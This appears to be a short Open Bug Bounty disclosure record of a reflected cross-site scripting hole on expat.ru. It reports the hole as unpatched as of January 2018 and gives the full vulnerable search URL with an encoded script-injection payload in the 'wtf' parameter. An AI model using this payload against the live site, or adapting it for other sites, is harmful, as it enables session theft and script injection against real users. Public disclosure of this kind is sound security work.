expat.ru XSS vulnerability

Vulnerable URL: https://www.expat.ru/searchresult.php?wtf=%27%22/%3E%3Cscript%3Ealert/OPENBUGBOUNTY/;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 18.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 554962 VIP website...